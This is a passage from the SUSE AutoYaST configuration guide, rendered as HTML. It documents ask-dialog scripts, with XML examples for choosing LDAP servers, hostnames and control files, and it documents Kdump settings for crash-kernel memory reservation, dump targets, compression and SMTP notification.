&lt;/general&gt;</pre></div><div class="table" id="idm140013836484768"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.5: </span><span class="name">Default Value Scripts: XML representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013836484768">#</a></h6></div><div class="table-contents"><table summary="Default Value Scripts: XML representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">source</code>
         </p>
        </td><td>
         <p>
          The source code of the script. Whatever you
          <code class="command">echo</code> to STDOUT will be used as default value
          for the ask-dialog. If your script has an exit code other than 0,
          the normal default element is used. Take care you use
          <code class="command">echo -n</code> to suppress the <code class="literal">\n</code>
          and that you echo reasonable values and not <span class="quote">“<span class="quote">okay</span>”</span>
          for a boolean
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;source&gt;...&lt;/source&gt;</pre></div>
        </td><td>
         <p>
          This value is required, otherwise nothing would be executed.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">interpreter</code>
         </p>
        </td><td>
         <p>
          The interpreter to use.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;interpreter&gt;perl&lt;/interpreter&gt;</pre></div>
        </td><td>
         <p>
          The default value is <code class="literal">shell</code>. You can also set
          <code class="filename">/bin/myinterpreter</code> as value.
         </p>
        </td></tr></tbody></table></div></div></div><div class="sect2 " id="CreateProfile.Ask.script"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.Ask.script"><span class="number">4.19.2 </span><span class="name">Scripts</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.Ask.script">#</a></h3></div></div></div><p>
     You can run scripts after a question has been answered.
    </p><p>
     The elements listed below must be placed within the following XML
     structure:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;ask-list config:type="list"&gt;
    &lt;ask&gt;
      &lt;script&gt;
        ...
      &lt;/script&gt;
    &lt;/ask&gt;
  &lt;/ask-list&gt;
&lt;/general&gt;</pre></div><div class="table" id="idm140013832238896"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.6: </span><span class="name">Scripts: XML representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013832238896">#</a></h6></div><div class="table-contents"><table summary="Scripts: XML representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">file name</code>
         </p>
        </td><td>
         <p>
          The file name of the script.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;filename&gt;my_ask_script.sh&lt;/filename&gt;</pre></div>
        </td><td>
         <p>
          The default is ask_script.sh
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">source</code>
         </p>
        </td><td>
         <p>
          The source code of the script. Together with
          <code class="literal">rerun_on_error</code> activated, you check the value
          that was entered for sanity. Your script can create a file
          <code class="filename">/tmp/next_dialog</code> with a dialog id specifying
          the next dialog AutoYaST will raise. A value of -1 terminates the
          ask sequence. If that file is not created, AutoYaST will run the
          dialogs in the normal order (since 11.0 only).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;source&gt;...&lt;/source&gt;</pre></div>
        </td><td>
         <p>
          This value is required, otherwise nothing would be executed.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">environment</code>
         </p>
        </td><td>
         <p>
          A boolean that passes the value of the answer to the question as
          an environment variable to the script. The variable is named
          <code class="envar">VAL</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;environment config:type="boolean"&gt;true&lt;/environment&gt;</pre></div>
        </td><td>
         <p>
          Optional. Default is <code class="literal">false</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">feedback</code>
         </p>
        </td><td>
         <p>
          A boolean that turns on feedback for the script execution. STDOUT
          will be displayed in a pop-up window that must be confirmed after
          the script execution.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;feedback config:type="boolean"&gt;true&lt;/feedback&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">false</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">debug</code>
         </p>
        </td><td>
         <p>
          A boolean that turns on debugging for the script execution.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;debug config:type="boolean"&gt;true&lt;/debug&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">true</code>. This value needs
          <code class="literal">feedback</code> to be turned on, too.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">rerun_on_error</code>
         </p>
        </td><td>
         <p>
          A boolean that keeps the dialog open until the script has an exit
          code of 0 (zero). So you can parse and check the answers the user
          gave in the script and display an error with the
          <code class="literal">feedback</code> option.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;rerun_on_error config:type="boolean"&gt;true&lt;/rerun_on_error&gt;</pre></div>
        </td><td>
         <p>
          Optional, default is <code class="literal">false</code>. This value should
          be used together with the feedback option.
         </p>
        </td></tr></tbody></table></div></div><p>
     Below you can see an example of the usage of the <code class="literal">ask</code>
     feature.
    </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;ask-list config:type="list"&gt;
    &lt;ask&gt;
      &lt;pathlist config:type="list"&gt;
        &lt;path&gt;ldap,ldap_server&lt;/path&gt;
      &lt;/pathlist&gt;
      &lt;stage&gt;cont&lt;/stage&gt;
      &lt;help&gt;Choose your server depending on your department&lt;/help&gt;
      &lt;selection config:type="list"&gt;
        &lt;entry&gt;
          &lt;value&gt;ldap1.mydom.de&lt;/value&gt;
          &lt;label&gt;LDAP for development&lt;/label&gt;
        &lt;/entry&gt;
        &lt;entry&gt;
          &lt;value&gt;ldap2.mydom.de&lt;/value&gt;
          &lt;label&gt;LDAP for sales&lt;/label&gt;
        &lt;/entry&gt;
      &lt;/selection&gt;
      &lt;default&gt;ldap2.mydom.de&lt;/default&gt;
      &lt;default_value_script&gt;
        &lt;source&gt; &lt;![CDATA[
echo -n "ldap1.mydom.de"
]]&gt;
        &lt;/source&gt;
      &lt;/default_value_script&gt;
    &lt;/ask&gt;
    &lt;ask&gt;
      &lt;pathlist config:type="list"&gt;
        &lt;path&gt;networking,dns,hostname&lt;/path&gt;
      &lt;/pathlist&gt;
      &lt;question&gt;Enter Hostname&lt;/question&gt;
      &lt;stage&gt;initial&lt;/stage&gt;
      &lt;default&gt;enter your hostname here&lt;/default&gt;
    &lt;/ask&gt;
    &lt;ask&gt;
      &lt;pathlist config:type="list"&gt;
        &lt;path&gt;partitioning,0,partitions,0,filesystem&lt;/path&gt;
      &lt;/pathlist&gt;
      &lt;question&gt;File System&lt;/question&gt;
      &lt;type&gt;symbol&lt;/type&gt;
      &lt;selection config:type="list"&gt;
        &lt;entry&gt;
          &lt;value config:type="symbol"&gt;reiser&lt;/value&gt;
          &lt;label&gt;default File System (recommended)&lt;/label&gt;
        &lt;/entry&gt;
        &lt;entry&gt;
          &lt;value config:type="symbol"&gt;ext3&lt;/value&gt;
          &lt;label&gt;Fallback File System&lt;/label&gt;
        &lt;/entry&gt;
      &lt;/selection&gt;
    &lt;/ask&gt;
  &lt;/ask-list&gt;
&lt;/general&gt;</pre></div><p>
     The following example shows a to choose between AutoYaST control files.
     AutoYaST will read the <code class="filename">modified.xml</code> file again
     after the ask-dialogs are done. This way you can fetch a complete new
     control file.
    </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;ask-list config:type="list"&gt;
    &lt;ask&gt;
      &lt;selection config:type="list"&gt;
        &lt;entry&gt;
          &lt;value&gt;part1.xml&lt;/value&gt;
          &lt;label&gt;Simple partitioning&lt;/label&gt;
        &lt;/entry&gt;
        &lt;entry&gt;
          &lt;value&gt;part2.xml&lt;/value&gt;
          &lt;label&gt;encrypted /tmp&lt;/label&gt;
        &lt;/entry&gt;
        &lt;entry&gt;
          &lt;value&gt;part3.xml&lt;/value&gt;
          &lt;label&gt;LVM&lt;/label&gt;
        &lt;/entry&gt;
      &lt;/selection&gt;
      &lt;title&gt;XML Profile&lt;/title&gt;
      &lt;question&gt;Choose a profile&lt;/question&gt;
      &lt;stage&gt;initial&lt;/stage&gt;
      &lt;default&gt;part1.xml&lt;/default&gt;
      &lt;script&gt;
        &lt;filename&gt;fetch.sh&lt;/filename&gt;
        &lt;environment config:type="boolean"&gt;true&lt;/environment&gt;
        &lt;source&gt;
&lt;![CDATA[
wget http://10.10.0.162/$VAL -O /tmp/profile/modified.xml 2&gt;/dev/null
]]&gt;
        &lt;/source&gt;
        &lt;debug config:type="boolean"&gt;false&lt;/debug&gt;
        &lt;feedback config:type="boolean"&gt;false&lt;/feedback&gt;
      &lt;/script&gt;
    &lt;/ask&gt;tion&gt;
  &lt;/ask-list&gt;
&lt;/general&gt;</pre></div><p>
     You can verify the answer of a question with a script like this:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;general&gt;
  &lt;ask-list config:type="list"&gt;
    &lt;ask&gt;
      &lt;script&gt;
        &lt;filename&gt;my.sh&lt;/filename&gt;
        &lt;rerun_on_error config:type="boolean"&gt;true&lt;/rerun_on_error&gt;
        &lt;environment config:type="boolean"&gt;true&lt;/environment&gt;
        &lt;source&gt;&lt;![CDATA[
if [ "$VAL" = "myhost" ]; then
    echo "Illegal Hostname!";
    exit 1;
fi
exit 0
]]&gt;
        &lt;/source&gt;
        &lt;debug config:type="boolean"&gt;false&lt;/debug&gt;
        &lt;feedback config:type="boolean"&gt;true&lt;/feedback&gt;
      &lt;/script&gt;
      &lt;dialog config:type="integer"&gt;0&lt;/dialog&gt;
      &lt;element config:type="integer"&gt;0&lt;/element&gt;
      &lt;pathlist config:type="list"&gt;
        &lt;path&gt;networking,dns,hostname&lt;/path&gt;
      &lt;/pathlist&gt;
      &lt;question&gt;Enter Hostname&lt;/question&gt;
      &lt;default&gt;enter your hostname here&lt;/default&gt;
    &lt;/ask&gt;
  &lt;/ask-list&gt;
&lt;/general&gt;</pre></div></div></div><div class="sect1 " id="CreateProfile.kdump"><div class="titlepage"><div><div><h2 class="title" id="CreateProfile.kdump"><span class="number">4.20 </span><span class="name">Kernel Dumps</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump">#</a></h2></div></div></div><div id="idm140013835666144" class="admonition note"><img class="symbol" alt="Note" title="Note" src="static/images/icon-note.png" /><h6>Note: Availability</h6><p>
     This feature is not available on the IBM System z (s390x)
     architecture.
    </p></div><p>
    With Kdump the system can create crashdump files if the whole kernel
    crashes. Crash dump files contain the memory contents while the system
    crashed. Such core files can be analyzed later by support or a (kernel)
    developer to find the reason for the system crash. Kdump is mostly
    useful for servers where you cannot easily reproduce such crashes but it
    is important to get the problem fixed.
   </p><p>
    The only downside: enabling Kdump costs you between 64 MB and 128 MB of
    system RAM (on <span class="quote">“<span class="quote">normal</span>”</span> sized systems), reserved for Kdump
    in case the system crashes and the dump needs to be generated.
   </p><p>
    This section only describes how to set up Kdump with AutoYaST. It does
    not describe how Kdump works. For details, refer to the kdump(7) manual
    page.
   </p><p>
    The following example shows a general Kdump configuration.
   </p><div class="example" id="idm140013835661728"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.32: </span><span class="name">Kdump configuration </span><a title="Permalink" class="permalink" href="configuration.html#idm140013835661728">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">&lt;kdump&gt;
  &lt;!-- memory reservation --&gt;
  &lt;add_crash_kernel config:type="boolean"&gt;true&lt;/add_crash_kernel&gt;
  &lt;crash_kernel&gt;256M-:64M&lt;/crash_kernel&gt;
  &lt;general&gt;

    &lt;!-- dump target settings --&gt;
    &lt;KDUMP_SAVEDIR&gt;ftp://stravinsky.suse.de/incoming/dumps&lt;/KDUMP_SAVEDIR&gt;
    &lt;KDUMP_COPY_KERNEL&gt;true&lt;/KDUMP_COPY_KERNEL&gt;
    &lt;KDUMP_FREE_DISK_SIZE&gt;64&lt;/KDUMP_FREE_DISK_SIZE&gt;
    &lt;KDUMP_KEEP_OLD_DUMPS&gt;5&lt;/KDUMP_KEEP_OLD_DUMPS&gt;

    &lt;!-- filtering and compression --&gt;
    &lt;KDUMP_DUMPFORMAT&gt;compressed&lt;/KDUMP_DUMPFORMAT&gt;
    &lt;KDUMP_DUMPLEVEL&gt;1&lt;/KDUMP_DUMPLEVEL&gt;

    &lt;!-- notification --&gt;
    &lt;KDUMP_NOTIFICATION_TO&gt;tux@example.com&lt;/KDUMP_NOTIFICATION_TO&gt;
    &lt;KDUMP_NOTIFICATION_CC&gt;spam@example.com devnull@example.com&lt;/KDUMP_NOTIFICATION_CC&gt;
    &lt;KDUMP_SMTP_SERVER&gt;mail.example.com&lt;/KDUMP_SMTP_SERVER&gt;
    &lt;KDUMP_SMTP_USER&gt;&lt;/KDUMP_SMTP_USER&gt;
    &lt;KDUMP_SMTP_PASSWORD&gt;&lt;/KDUMP_SMTP_PASSWORD&gt;

    &lt;!-- kdump kernel --&gt;
    &lt;KDUMP_KERNELVER&gt;&lt;/KDUMP_KERNELVER&gt;
    &lt;KDUMP_COMMANDLINE&gt;&lt;/KDUMP_COMMANDLINE&gt;
    &lt;KDUMP_COMMANDLINE_APPEND&gt;&lt;/KDUMP_COMMANDLINE_APPEND&gt;

    &lt;!-- expert settings --&gt;
    &lt;KDUMP_IMMEDIATE_REBOOT&gt;yes&lt;/KDUMP_IMMEDIATE_REBOOT&gt;
    &lt;KDUMP_VERBOSE&gt;15&lt;/KDUMP_VERBOSE&gt;
    &lt;KEXEC_OPTIONS&gt;&lt;/KEXEC_OPTIONS&gt;
  &lt;/general&gt;
&lt;/kdump&gt; </pre></div></div></div><div class="sect2 " id="CreateProfile.kdump.reservation"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.kdump.reservation"><span class="number">4.20.1 </span><span class="name">Memory Reservation</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.reservation">#</a></h3></div></div></div><p>
     The first step is to reserve memory for Kdump at boot-up. Because the
     memory must be reserved very early during the boot process, the
     configuration is done via a kernel command line parameter called
     <code class="literal">crashkernel</code>. The reserved memory will be used to
     load a second kernel which will be executed without rebooting if the
     first kernel crashes. This second kernel has a special initrd, which
     contains all programs necessary to save the dump over the network or to
     disk, send a notification e-mail, and finally reboot.
    </p><p>
     To reserve memory for Kdump, specify the <code class="literal">amount</code>
     (such as <code class="literal">64M</code> to reserve 64 MB of memory from the
     RAM) and the <code class="literal">offset</code>. The syntax is
     <code class="literal">crashkernel=AMOUNT@OFFSET</code>. The kernel can
     auto-detect the right offset (except for the Xen hypervisor, where
     you need to specify <code class="literal">16M</code> as offset). The amount of
     memory that needs to be reserved depends on architecture and main
     memory—refer to
     <span>Section “Manual Kdump Configuration”, Chapter 17, <em>Kexec and Kdump</em>, <em><em class="citetitle ">System Analysis and Tuning Guide</em></em></span> for recommendations on
     the amount of memory to reserve for Kdump.
    </p><p>
     You can also use the extended command line syntax to specify the amount
     of reserved memory depending on the System RAM. That is useful if you
     share one AutoYaST control file for multiple installations or if you
     often remove or install memory on one machine. The syntax is:
    </p><div class="verbatim-wrap"><pre class="screen">BEGIN_RANGE_1-END_RANGE_1:AMOUNT_1,BEGIN_RANGE_2-END_RANGE_2:AMOUNT_2@OFFSET</pre></div><p>
     <code class="literal">BEGIN_RANGE_1</code> is the start of the first memory range
     (for example: <code class="literal">0M</code>) and <code class="literal">END_RANGE_1</code>
     is the end of the first memory range (can be empty in case
     <code class="literal">infinity</code> should be assumed) and so on. For example
     <code class="literal">256M-2G:64M,2G-:128M</code> means to reserve 64 MB of
     crashkernel memory if the system has between 256 MB and 2 GB RAM and to
     reserve 128 MB of crashkernel memory if the system has more than 2 GB
     RAM.
    </p><p>
     On the other hand, it is possible to specify multiple values for
     crashkernel parameter, for example, when wanting to reserve different
     segments of low and high memory. In this case use values like
     <code class="literal">72M,low</code> and <code class="literal">256M,high</code>:
    </p><div class="example" id="idm140013835647152"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 4.33: </span><span class="name">Kdump memory reservation with multiple values </span><a title="Permalink" class="permalink" href="configuration.html#idm140013835647152">#</a></h6></div><div class="example-contents"><div class="verbatim-wrap"><pre class="screen">
&lt;kdump&gt;
  &lt;!-- memory reservation (high and low) --&gt;
  &lt;add_crash_kernel config:type="boolean"&gt;true&lt;/add_crash_kernel&gt;
  &lt;crash_kernel&gt;
    &lt;listentry&gt;72M,low&lt;/listentry&gt;
    &lt;listentry&gt;256M,high&lt;/listentry&gt;
  &lt;/crash_kernel&gt;
&lt;/kdump&gt; </pre></div></div></div><p>
     The following table shows the settings necessary to reserve memory:
    </p><div class="table" id="idm140013835645040"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.7: </span><span class="name">Kdump Memory Reservation Settings:XML Representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013835645040">#</a></h6></div><div class="table-contents"><table summary="Kdump Memory Reservation Settings:XML Representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">add_crash_Kernel</code>
         </p>
        </td><td>
         <p>
          Set to <code class="literal">true</code> if memory should be reserved and
          Kdump enabled.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;add_crash_kernel config:type="boolean"&gt;true&lt;/add_crash_kernel&gt;</pre></div>
        </td><td>
         <p>
          required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">crash_Kernel</code>
         </p>
        </td><td>
         <p>
          Use the syntax of the crashkernel command line as discussed above.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;crash_kernel&gt;256M:64M&lt;/crash_kernel&gt;</pre></div>
        <p>A list of values is also supported.</p>
<div class="verbatim-wrap"><pre class="screen">&lt;crash_kernel&gt;
  &lt;listentry&gt;72M,low&lt;/listentry&gt;
  &lt;listentry&gt;256M,high&lt;/listentry&gt;
&lt;/crash_kernel&gt;</pre></div>
        </td><td>
         <p>
          required
         </p>
        </td></tr></tbody></table></div></div></div><div class="sect2 " id="CreateProfile.kdump.saving"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.kdump.saving"><span class="number">4.20.2 </span><span class="name">Dump Saving</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.saving">#</a></h3></div></div></div><p>
     
    </p><div class="sect3 " id="CreateProfile.kdump.saving.target"><div class="titlepage"><div><div><h4 class="title" id="CreateProfile.kdump.saving.target"><span class="number">4.20.2.1 </span><span class="name">Target</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.saving.target">#</a></h4></div></div></div><p>
      The element <code class="literal">KDUMP_SAVEDIR</code> specifies the URL to
      where the dump is saved. The following methods are possible:
     </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
        <code class="literal">file</code> to save to the local disk,
       </p></li><li class="listitem "><p>
        <code class="literal">ftp</code> to save to an FTP server (without
        encryption),
       </p></li><li class="listitem "><p>
        <code class="literal">sftp</code> to save to an SSH2 SFTP server,
       </p></li><li class="listitem "><p>
        <code class="literal">nfs</code> to save to an NFS location and
       </p></li><li class="listitem "><p>
        <code class="literal">cifs</code> to save the dump to a CIFS/SMP export from
        Samba or Microsoft Windows.
       </p></li></ul></div><p>
      For details see the kdump(5) manual page. Two examples are:
      <code class="literal">file:///var/crash</code> (which is the default location
      according to FHS) and
      <code class="literal">ftp://user:password@host:port/incoming/dumps</code>. A
      subdirectory, with the time stamp contained in the name, will be
      created and the dumps saved there.
     </p><p>
      When the dump is saved to the local disk,
      <code class="literal">KDUMP_KEEP_OLD_DUMPS</code> can be used to delete old
      dumps automatically. Set it to the number of old dumps that should be
      kept. If the target partition would end up with less free disk space
      than specified in <code class="literal">KDUMP_FREE_DISK_SIZE</code>, the dump is
      not saved.
     </p><p>
      If you want to save the whole kernel and the debug information (if
      installed) to the same directory, set
      <code class="literal">KDUMP_COPY_KERNEL</code> to <code class="literal">true</code>. You
      will have everything you need to analyze the dump in one directory
      (except kernel modules and their debugging information).
     </p></div><div class="sect3 " id="CreateProfile.kdump.saving.compression"><div class="titlepage"><div><div><h4 class="title" id="CreateProfile.kdump.saving.compression"><span class="number">4.20.2.2 </span><span class="name">Filtering and Compression</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.saving.compression">#</a></h4></div></div></div><p>
      The kernel dump is uncompressed and unfiltered. It can get as large as
      your system RAM. To get smaller files, compress the dump file
      afterwards. The dump needs to be decompressed before opening.
     </p><p>
      To use page compression, which compresses every page and allows
      dynamic decompression with the crash(8) debugging tool, set
      <code class="literal">KDUMP_DUMPFORMAT</code> to <code class="literal">compressed</code>
      (default).
     </p><p>
      You may not want to save all memory pages, for example those filled
      with zeroes. To filter the dump, set the
      <code class="literal">KDUMP_DUMPLEVEL</code>. 0 produces a full dump and 31 is
      the smallest dump. The manual pages kdump(5) and makedumpfile(8) list
      for each value which pages will be saved.
     </p></div><div class="sect3 " id="CreateProfile.kdump.saving.summary"><div class="titlepage"><div><div><h4 class="title" id="CreateProfile.kdump.saving.summary"><span class="number">4.20.2.3 </span><span class="name">Summary</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.saving.summary">#</a></h4></div></div></div><div class="table" id="idm140013839020352"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.8: </span><span class="name">Dump Target Settings: XML Representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013839020352">#</a></h6></div><div class="table-contents"><table summary="Dump Target Settings: XML Representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
          <p>
           Element
          </p>
         </th><th>
          <p>
           Description
          </p>
         </th><th>
          <p>
           Comment
          </p>
         </th></tr></thead><tbody><tr><td>
          <p>
           <code class="literal">KDUMP_SAVEDIR</code>
          </p>
         </td><td>
          <p>
           A URL that specifies the target to which the dump and related
           files will be saved.
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_SAVEDIR&gt;file:///var/crash/&lt;/KDUMP_SAVEDIR&gt;</pre></div>
         </td><td>
          <p>
           required
          </p>
         </td></tr><tr><td>
          <p>
           <code class="literal">KDUMP_COPY_KERNEL</code>
          </p>
         </td><td>
          <p>
           Set to <code class="literal">true</code>, if not only the dump should be
           saved to <code class="literal">KDUMP_SAVEDIR</code> but also the kernel and
           its debugging information (if installed).
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_COPY_KERNEL&gt;false&lt;/KDUMP_COPY_KERNEL&gt;</pre></div>
         </td><td>
          <p>
           optional
          </p>
         </td></tr><tr><td>
          <p>
           <code class="literal">KDUMP_FREE_DISK_SIZE</code>
          </p>
         </td><td>
          <p>
           Disk space in megabytes that must remain free after saving the
           dump. If not enough space is available, the dump will not be
           saved.
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_FREE_DISK_SIZE&gt;64&lt;/KDUMP_FREE_DISK_SIZE&gt;</pre></div>
         </td><td>
          <p>
           optional
          </p>
         </td></tr><tr><td>
          <p>
           <code class="literal">KDUMP_KEEP_OLD_DUMPS</code>
          </p>
         </td><td>
          <p>
           The number of dumps that are kept (not deleted) if
           <code class="literal">KDUMP_SAVEDIR</code> points to a local directory.
           Specify 0 if you do not want any dumps to be automatically
           deleted, specify -1 if all dumps except the current one should be
           deleted.
          </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_KEEP_OLD_DUMPS&gt;4&lt;/KDUMP_KEEP_OLD_DUMPS&gt;</pre></div>
         </td><td>
          <p>
           optional
          </p>
         </td></tr></tbody></table></div></div></div></div><div class="sect2 " id="CreateProfile.kdump.notification"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.kdump.notification"><span class="number">4.20.3 </span><span class="name">E-Mail Notification</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.notification">#</a></h3></div></div></div><p>
     Configure e-mail notification if you want to be informed when a machine
     crashes and a dump is saved.
    </p><p>
     Because Kdump runs in the initrd, a local mail server cannot send the
     notification e-mail. An SMTP server needs to be specified (see below).
    </p><p>
     You need to provide exactly one address in
     <code class="literal">KDUMP_NOTIFICATION_TO</code>. More addresses can be
     specified in <code class="literal">KDUMP_NOTIFICATION_CC</code>. Only use e-mail
     addresses in both cases, not a real name.
    </p><p>
     Specify <code class="literal">KDUMP_SMTP_SERVER</code> and (if the server needs
     authentication) <code class="literal">KDUMP_SMTP_USER</code> and
     <code class="literal">KDUMP_SMTP_PASSWORD</code>. Support for TSL or SSL is not
     available but may be added in the future.
    </p><div class="table" id="idm140013838990400"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.9: </span><span class="name">E-Mail Notification Settings: XML Representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013838990400">#</a></h6></div><div class="table-contents"><table summary="E-Mail Notification Settings: XML Representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">KDUMP_NOTIFICATION_TO</code>
         </p>
        </td><td>
         <p>
          Exactly one e-mail address to which the e-mail should be sent.
          Additional recipients can be specified in
          <code class="literal">KDUMP_NOTIFICATION_CC</code>.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_NOTIFICATION_TO
&gt;tux@example.com&lt;/KDUMP_NOTIFICATION_TO&gt;</pre></div>
        </td><td>
         <p>
          optional (notification disabled if empty)
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">KDUMP_NOTIFICATION_CC</code>
         </p>
        </td><td>
         <p>
          Zero, one or more recipients that are in the cc line of the
          notification e-mail.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_NOTIFICATION_CC
&gt;wilber@example.com geeko@example.com&lt;/KDUMP_NOTIFICATION_CC&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">KDUMP_SMTP_SERVER</code>
         </p>
        </td><td>
         <p>
          Host name of the SMTP server used for mail delivery. SMTP
          authentication is supported (see
          <code class="literal">KDUMP_SMTP_USER</code> and
          <code class="literal">KDUMP_SMTP_PASSWORD</code>) but TSL and SSL are
          not&gt;.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_SMTP_SERVER&gt;email.suse.de&lt;/KDUMP_SMTP_SERVER&gt;</pre></div>
        </td><td>
         <p>
          optional (notification disabled if empty)
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">KDUMP_SMTP_USER</code>
         </p>
        </td><td>
         <p>
          User name used together with
          <code class="literal">KDUMP_SMTP_PASSWORD</code> for SMTP authentication.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_SMTP_USER&gt;bwalle&lt;/KDUMP_SMTP_USER&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">KDUMP_SMTP_PASSWORD</code>
         </p>
        </td><td>
         <p>
          Password used together with <code class="literal">KDUMP_SMTP_USER</code> for
          SMTP authentication.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_SMTP_PASSWORD&gt;geheim&lt;/KDUMP_SMTP_PASSWORD&gt;</pre></div>
        </td><td>
         <p>
          optional
         </p>
        </td></tr></tbody></table></div></div></div><div class="sect2 " id="CreateProfile.kdump.kernel"><div class="titlepage"><div><div><h3 class="title" id="CreateProfile.kdump.kernel"><span class="number">4.20.4 </span><span class="name">Kdump Kernel Settings</span> <a title="Permalink" class="permalink" href="configuration.html#CreateProfile.kdump.kernel">#</a></h3></div></div></div><p>
     As already mentioned, a special kernel is booted to save the dump. If
     you do not want to use the auto-detection mechanism to find out which
     kernel is used (see the kdump(5) manual page that describes the
     algorithm which is used to find the kernel), you can specify the
     version of a custom kernel in <code class="literal">KDUMP_KERNELVER</code>. If
     you set it to <code class="literal">foo</code>, then the kernel located in
     <code class="filename">/boot/vmlinuz-foo</code> or
     <code class="filename">/boot/vmlinux-foo</code> (in that order on platforms that
     have a <code class="filename">vmlinuz</code> file) will be used.
    </p><p>
     You can specify the command line used to boot the Kdump kernel.
     Normally the boot command line is used minus some settings that make no
     sense with Kdump (like the <code class="literal">crashkernel</code> parameter)
     plus some settings needed by Kdump (see the manual page kdump(5)). If
     you want some additional parameters like an overwritten console
     setting then use <code class="literal">KDUMP_COMMANDLINE_APPEND</code>. If you
     know what you are doing and you want to specify the whole command line,
     set <code class="literal">KDUMP_COMMANDLINE</code>.
    </p><div class="table" id="idm140013828518896"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 4.10: </span><span class="name">Kernel Settings: XML Representation </span><a title="Permalink" class="permalink" href="configuration.html#idm140013828518896">#</a></h6></div><div class="table-contents"><table summary="Kernel Settings: XML Representation" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Element
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th><th>
         <p>
          Comment
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">KDUMP_KERNELVER</code>
         </p>
        </td><td>
         <p>
          Version string for the kernel used for Kdump. Leave it empty to
          use the auto-detection mechanism (strongly recommended).
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;KDUMP_KERNELVER
&gt;2.6.27-default&lt;/KDUMP_KERNELVER&gt;</pre></div>
        </td><td>
         <p>
          optional (auto-detection if empty)
         </p>
